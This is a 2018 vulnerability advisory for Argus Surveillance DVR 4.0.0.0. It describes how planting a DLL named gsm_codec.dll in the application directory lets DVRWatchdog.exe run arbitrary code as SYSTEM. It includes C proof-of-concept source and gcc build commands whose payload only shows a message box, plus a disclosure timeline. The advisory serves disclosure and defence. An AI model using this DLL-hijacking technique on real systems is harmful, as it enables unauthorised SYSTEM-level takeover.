[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/ARGUS-SURVEILLANCE-DVR-v4-SYSTEM-PRIVILEGE-ESCALATION.txt [+] ISR: ApparitionSec Greetz: ***Greetz: indoushka | Eduardo | GGA*** [Vendor] www.argussurveillance.com [Product] Argus Surveillance DVR - 4.0.0.0 Our DVR software provides scheduled, continuous or activated upon motion detection video recording. You can monitor unlimited number of cameras, through Internet or on-site. When our surveillance software detects motion in the monitored area, it sounds alarm, e-mails captured images, or records video. This is security surveillance IP camera software. It has features to place image overlays and date/time stamps, adjust picture size / quality, and Pan/Tilt/Zoom control. [Vulnerability Type] SYSTEM Privilege Escalation [CVE Reference] N/A [Security Issue] Argus Surveillance DVR 4.0.0.0 devices allow Trojan File SYSTEM Privilege Escalation. Placing a Trojan File DLL named "gsm_codec.dll" in Argus application directory will lead to arbitrary code execution with SYSTEM integrity. [Affected Component] DVRWatchdog.exe [Exploit/POC] create DLL 32bit DLL named "gsm_codec.dll" and place in App Dir, launch Argus DVR tada! your now SYSTEM. #include /* hyp3rlinx */ /* gcc -c -m32 gsm_codec.c gcc -shared -m32 -o gsm_codec.dll gsm_codec.o */ void systemo(){ MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , "philbin :)" , MB_YESNO + MB_ICONQUESTION ); } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){ switch(fdwReason){ case DLL_PROCESS_ATTACH:{ systemo(); break; } case DLL_PROCESS_DETACH:{ systemo(); break; } case DLL_THREAD_ATTACH:{ systemo(); break; } case DLL_THREAD_DETACH:{ systemo(); break; } } return TRUE; } [Video POC URL] https://vimeo.com/287115698 [Network Access] Local [Severity] High [Disclosure Timeline] Vendor Notification: August 17, 2018 Second attempt: August 21, 2018 CVE Assigned Mitre: August 23, 2018 August 28, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx